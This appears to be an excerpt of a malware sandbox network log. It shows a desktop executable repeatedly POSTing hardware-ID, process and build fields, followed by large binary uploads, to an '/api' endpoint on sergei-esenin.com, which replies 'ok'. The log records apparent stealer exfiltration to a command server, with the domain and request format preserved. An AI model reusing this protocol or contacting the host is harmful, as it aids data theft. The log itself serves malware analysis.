2024-10-24 02:01:31 UTC	379	IN	Data Raw: 67 2b 77 52 66 41 45 4b 52 63 61 7a 4f 34 4d 59 79 45 4b 42 42 4e 56 39 47 72 54 4b 46 4e 51 45 77 32 58 4d 76 35 41 54 74 6e 66 56 39 78 59 61 66 78 68 51 77 72 6f 73 6b 68 36 4b 4a 64 6c 4f 33 53 31 46 6d 6f 56 64 6e 56 2f 55 4d 35 6e 38 32 52 4f 4e 4b 4e 57 33 42 68 42 6b 65 41 43 62 35 48 6d 62 51 64 35 43 32 51 53 43 62 77 7a 4e 6d 46 32 4c 58 35 56 77 30 37 32 52 55 4a 38 36 30 74 46 6f 5a 53 55 67 56 64 75 6c 46 62 6f 49 33 51 2f 4a 55 38 74 78 56 34 36 45 45 39 51 4a 6b 6a 32 42 6f 4e 63 4c 73 48 6e 64 72 32 6b 4d 66 7a 55 54 6c 50 51 65 68 77 48 4a 42 64 6c 56 6c 78 70 59 67 49 77 4b 77 6c 2b 63 4d 38 66 76 7a 77 50 48 65 5a 48 2b 46 68 70 76 66 77 69 5a 35 33 7a 55 58 64 68 4d 31 67 54 4d 66 52 72 66 78 46 33 42 58 34 6f 7a 68 71 79 46 51 59 38 Data Ascii: g+wRfAEKRcazO4MYyEKBBNV9GrTKFNQEw2XMv5ATtnfV9xYafxhQwroskh6KJdlO3S1FmoVdnV/UM5n82RONKNW3BhBkeACb5HmbQd5C2QSCbwzNmF2LX5Vw072RUJ860tFoZSUgVdulFboI3Q/JU8txV46EE9QJkj2BoNcLsHndr2kMfzUTlPQehwHJBdlVlxpYgIwKwl+cM8fvzwPHeZH+FhpvfwiZ53zUXdhM1gTMfRrfxF3BX4ozhqyFQY8
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 32 36 64 66 0d 0a 36 6d 55 52 59 70 2b 71 39 46 56 56 44 49 69 57 4d 32 4b 46 61 6f 43 78 67 48 42 42 75 73 72 54 35 32 4a 47 4e 51 68 37 48 33 47 75 35 42 64 6a 7a 6e 56 6f 52 5a 4e 66 33 56 71 6a 50 78 72 75 30 47 48 47 6f 38 63 6d 67 68 42 67 34 51 61 78 51 36 66 55 4e 65 69 6d 46 69 49 65 64 75 76 55 41 4a 6e 66 52 32 4d 73 44 72 45 56 35 64 51 6c 42 47 4a 61 68 4c 66 6c 56 50 4b 58 38 51 7a 6d 66 33 5a 45 35 74 35 7a 61 38 52 54 44 49 73 55 4d 4b 33 4f 5a 59 4a 78 42 54 4d 41 2b 51 44 59 34 43 42 45 64 34 51 32 55 33 2f 6a 70 70 59 68 54 53 61 35 47 68 38 4b 69 35 64 77 72 4d 39 6c 55 2b 4a 51 73 41 45 67 67 51 43 78 63 6f 69 6e 56 2f 4b 4d 35 6e 76 6f 6c 43 48 4e 35 4c 35 52 77 38 65 49 46 6a 41 75 53 53 50 54 34 6c 43 79 51 53 43 62 51 7a 4e 6a 67 Data Ascii: 26df6mURYp+q9FVVDIiWM2KFaoCxgHBBusrT52JGNQh7H3Gu5BdjznVoRZNf3VqjPxru0GHGo8cmghBg4QaxQ6fUNeimFiIeduvUAJnfR2MsDrEV5dQlBGJahLflVPKX8Qzmf3ZE5t5za8RTDIsUMK3OZYJxBTMA+QDY4CBEd4Q2U3/jppYhTSa5Gh8Ki5dwrM9lU+JQsAEggQCxcoinV/KM5nvolCHN5L5Rw8eIFjAuSSPT4lCyQSCbQzNjg
2024-10-24 02:01:31 UTC	1369	IN	Data Raw: 59 38 65 73 71 57 32 69 4e 5a 50 6f 54 45 55 35 43 33 4f 4d 2b 6d 75 4c 54 35 38 37 6a 77 79 61 41 67 7a 4e 6b 6c 32 4c 58 2b 64 77 7a 36 47 51 52 5a 68 30 73 50 68 56 55 6a 6b 75 45 34 4c 30 4c 63 52 58 6c 30 79 50 51 4d 74 39 47 74 33 59 52 6f 5a 4d 68 53 4f 54 73 4e 6c 4b 79 53 2f 56 74 77 51 4d 66 7a 38 54 6c 50 52 73 68 78 33 56 42 4d 78 53 32 58 70 38 73 36 77 65 77 68 58 7a 66 74 47 6f 71 57 32 63 4f 70 76 68 55 56 51 75 62 52 32 4d 75 32 76 63 4e 6f 64 4b 67 30 4c 5a 4b 77 4b 79 78 46 33 4c 58 34 6f 7a 39 4b 79 5a 58 59 34 76 68 4b 4a 77 51 53 34 6e 63 73 47 6b 4c 4d 52 42 68 77 53 50 48 49 6c 7a 41 6f 6d 62 58 59 74 50 67 43 69 55 2f 4d 41 44 32 79 62 62 39 68 5a 55 66 33 55 42 67 76 51 35 78 46 65 48 52 63 78 57 79 44 74 42 6d 34 6c 61 37 53 48 Data Ascii: Y8esqW2iNZPoTEU5C3OM+muLT587jwyaAgzNkl2LX+dwz6GQRZh0sPhVUjkuE4L0LcRXl0yPQMt9Gt3YRoZMhSOTsNlKyS/VtwQMfz8TlPRshx3VBMxS2Xp8s6wewhXzftGoqW2cOpvhUVQubR2Mu2vcNodKg0LZKwKyxF3LX4oz9KyZXY4vhKJwQS4ncsGkLMRBhwSPHIlzAombXYtPgCiU/MAD2ybb9hZUf3UBgvQ5xFeHRcxWyDtBm4la7SH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49771	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:32 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: sergei-esenin.com
2024-10-24 02:01:32 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:01:33 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c9j9e5v69t32t514lp34japc3h; expires=Sun, 16 Feb 2025 19:48:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cOjH584baEtONBh2qW3QCs%2BLaWGQhB3skicgnTrKCFCLGsy8kcxvM0Aj%2FNOjuhtpqAR7L%2BONHCWh7tkznt5zQrrMTQqdWbRyGLP63uAHp0KYPvjiaUEhUpqNAB5e2EkGQcdOfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76612af85b0bf7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2367&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13879&delivery_rate=1202158&cwnd=228&unsent_bytes=0&cid=419e0908fdc507bf&ts=558&x=0"
2024-10-24 02:01:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:01:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49780	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:33 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: sergei-esenin.com
2024-10-24 02:01:33 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:01:34 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shpa5f2c4a590q67s8jk2747tj; expires=Sun, 16 Feb 2025 19:48:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6KSMC%2BDLO%2B%2B%2BICNDg0sFhdWh%2FlPJmpmnRxMqDJYVcmbI9EYbHvIBiDKGI9jaYkNBmwNSbQMJKHTYfn0prdrfk1VFkzomz3fYiaaMKXJ9cMmJ5mDz8v5qLaaH6849k4uIym%2FdUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d766133ef2e0bb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16111&delivery_rate=1891574&cwnd=251&unsent_bytes=0&cid=d1ca98ab6dc8d42a&ts=574&x=0"
2024-10-24 02:01:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:01:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49788	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:35 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: sergei-esenin.com
2024-10-24 02:01:35 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:01:35 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-24 02:01:36 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ajeh1g8567gnslplr71teb2imu; expires=Sun, 16 Feb 2025 19:48:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ssW%2Fab%2BrLuE1m8X7dYzzqZCMIBTrx0a%2BQvrYG3wxKUrVSc0WO3jDs7EAd2DSMfKa4BdGZOeGWBFiwSWDE8e7MRWEgoUwLbo9N%2BpCJyHC1kjz53n42XWPfcBu1YQZ6LQm3mEqXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76613c6cad6b0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1214&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21458&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=4f9a855cf30126a0&ts=748&x=0"
2024-10-24 02:01:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:01:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49800	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:37 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1229 Host: sergei-esenin.com
2024-10-24 02:01:37 UTC	1229	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:01:37 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bdfjl681kdatqqc7a23jvpu354; expires=Sun, 16 Feb 2025 19:48:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zv27pqQ%2B4rhVFq5AeLNQK%2F3C64DfAiE1r83PpgPDypYXrpvK4rLkirFoumpiZSk0MUHyHDXmH53ePP8OsZ9C4Ayg2uRh4i7q6wY%2BgvNaRyvUaEvyOZPXJj0cgffEI4QyRSmJxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7661474e7ee95a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1423&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2236&delivery_rate=2212375&cwnd=244&unsent_bytes=0&cid=4edad57150791381&ts=357&x=0"
2024-10-24 02:01:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:01:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49813	104.21.53.8	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:01:39 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=L0tmDg_cxsnyAfHCsN6guf342hOe9CeqCterdBd5cFI-1729735290-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567640 Host: sergei-esenin.com
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: 88 80 fc ef d6 91 7a 41 b0 8d 61 50 63 84 c6 7a c6 33 73 c9 5e db 50 9c 9d 83 21 07 a2 e0 4d 73 23 fb 56 24 c8 3f 20 d9 2d 00 6c 12 d3 ec 5d 79 c0 ee 40 d6 97 30 1e e2 6e b3 32 1a 5a c7 1a 84 ee e2 ba 3a 33 a6 56 ef e9 a2 65 1e 06 31 e4 b2 34 98 e5 6c b4 50 55 b8 c2 b1 5f 2d 17 38 6d 2e b2 a1 fe b1 5a d4 52 e8 50 8e 2b 94 8e b0 16 57 77 de 2b af f1 7d 21 7a 1b f1 73 f5 7a b3 51 15 f2 6c c5 29 7d 5f 86 92 f1 b6 55 47 29 0a 89 91 8e 85 c5 97 35 a6 de 2e 01 fa 2e ea 21 b4 1f 1f 98 ec 41 cf 6f 10 06 fd b6 c7 b3 af eb e7 a1 90 fe 11 fe 54 ed e9 66 43 50 eb 2e 5c 36 df dc fb 04 0d 5c 2c 6a f3 83 60 d2 49 06 86 e4 ca 7a f2 d4 e2 98 ce c5 25 c8 b9 d5 a2 3a 2d ac 7a d9 9e 1f cd c9 18 21 e6 c5 cf df 18 4e 6d f4 62 9a 4f 34 6c e8 58 bc 67 ab 65 54 45 04 24 43 47 71 Data Ascii: zAaPcz3s^P!Ms#V$? -l]y@0n2Z:3Ve14lPU_-8m.ZRP+Ww+}!zszQl)}_UG)5..!AoTfCP.\6\,j`Iz%:-z!NmbO4lXgeTE$CGq
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: c1 4b 4f 75 4b 46 08 ea f1 b3 86 fa 65 16 29 41 53 c4 8e cd 5b 3c 24 45 92 7d b8 0d f7 14 08 bb b0 6c 65 1b a2 3b 82 fc 4d 36 42 35 d1 b9 7a 5b d6 53 c6 14 1d bf 86 48 bf 88 a4 b9 51 87 72 cd 26 ae 73 9f 35 c3 4e 80 79 4d 18 1f 2a 17 2a 9f 51 2e be 7d 5f f6 bd 7e 25 83 ba 25 3e bc d8 fc 42 80 b0 c1 01 a1 ec 23 a4 e2 cc bc 1c b7 1c 85 6a 3b 81 d5 9f 3c 54 7d 53 4b a5 4a 3e 31 f7 d1 8f 4d 41 f8 6e 73 b6 b6 e7 db 9e e3 14 3c 8b b9 ae 34 e3 dc 64 65 1f fc 60 be e0 72 be e3 2c 82 32 d6 c6 0c 87 b2 7e 57 29 af 91 30 1f 34 b7 26 c4 eb 6c 56 9e b2 4a be 6a 73 02 f6 69 07 8f ea 09 93 9c 1e 8b e8 72 d3 b4 ab 66 57 d7 d6 6e fa 7c 79 57 75 93 bc b5 d6 d2 af f2 b1 6f 78 76 fd 47 55 09 ee 0a 79 e2 91 b2 6d db 01 50 be 16 e7 58 fa f6 8a fd b8 6a 92 67 be fe 4a c7 19 34 Data Ascii: KOuKFe)AS[<$E}le;M6B5z[SHQr&s5NyM**Q.}_~%%>B#j;<T}SKJ>1MAns<4de`r,2~W)04&lVJjsirfWn\|yWuoxvGUymPXjgJ4
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: dc c2 9e 62 c0 1b ad a0 56 ca de 18 7b e8 e1 7c bc 2f 92 bd 56 2d c0 05 2b fc 14 65 ee 4e 02 49 87 c1 ac 26 46 5a 05 a4 ce 54 af 11 c8 7a db 3b 6d 16 09 63 32 56 af b5 fb 68 62 92 dc 40 0f 0e 8f 01 97 2c d4 7e 1d c0 e4 6b 9e 56 c7 9b 03 ed b3 48 56 02 94 a3 e0 77 75 b4 53 f2 59 55 dc ff 94 69 a6 9f 09 89 80 ac e5 06 dd d3 04 f9 1e 6c 15 08 4e c4 91 2e 0e 5b 22 68 d8 8e 91 eb 4d e2 59 f9 8a 33 56 06 9d 01 1c 61 07 17 dc e4 c9 10 cb e5 3a 8f 00 99 87 5d 8a 8f f6 63 81 4d e4 9f 9f 8d c3 fb 78 3d 51 2c 65 50 ca 57 7b 86 1c 44 c2 41 2a 0b f1 88 64 30 40 e0 21 97 e1 63 3d 54 71 c1 6e 42 d7 6e 73 b5 3c f5 ad d9 04 62 22 f3 cd 26 ff 7b 6f a3 96 cd 78 6e 24 d2 30 42 32 81 04 4c 5f 30 ec 0f 35 f6 87 e3 96 00 4b 8d ce 3f a1 cc 3b f2 9f 3a e0 66 9f 15 45 9d ea f5 38 Data Ascii: bV{\|/V-+eNI&FZTz;mc2Vhb@,~kVHVwuSYUilN.["hMY3Va:]cMx=Q,ePW{DA*d0@!c=TqnBns<b"&{oxn$0B2L_05K?;:fE8
2024-10-24 02:01:39 UTC	15331	OUT	Data Raw: f9 08 0a 38 cd 46 64 34 86 fc e2 c8 53 67 7b f6 5d 3f 6d 5d e4 27 cc 89 23 76 22 5f 43 26 be e4 2a 4c 40 97 1c 94 de ca 2a 99 33 4a 5c bb e6 5a a4 c9 3b a3 4c f2 82 5a 99 f7 7e ce bd 85 93 ac 90 dc 60 02 bd ff 4f 49 2b 71 6b 50 b8 02 ef ea fe 6a 79 c3 16 55 c7 f0 ce f3 d2 3a fb 27 7b e1 e4 40 50 6f b3 87 91 33 76 d2 8e 0b 89 d1 9e 44 26 31 a4 d3 61 51 8c e0 61 44 94 46 12 67 50 7f f2 89 d5 4d 1a e5 ac 37 4a c9 f8 6d f1 23 30 ec bb 03 2c 26 12 82 54 98 7e 85 5b 2c 5d 93 a2 82 ff b4 03 b8 1e 57 a8 c6 ec 14 1e 88 78 30 57 bf 1a a4 4b 5c 70 bf b0 e7 46 45 8d 78 63 64 ad dd ff 5f e5 1d e3 07 8f 11 a5 5d a8 40 93 c0 33 62 30 60 bf b8 f4 0e 20 9e c6 21 5e 4f 1d 79 eb f4 e6 51 24 76 76 4c 7d ad 37 83 ab 39 6f fe 91 9d b8 36 f3 89 58 9a 64 25 f0 5a b1 71 a4 20 41 Data Ascii: 8Fd4Sg{]?m]'#v"_C&L@3J\Z;LZ~`OI+qkPjyU:'{@Po3vD&1aQaDFgPM7Jm#0,&T~[,]Wx0WK\pFExcd_]@3b0` 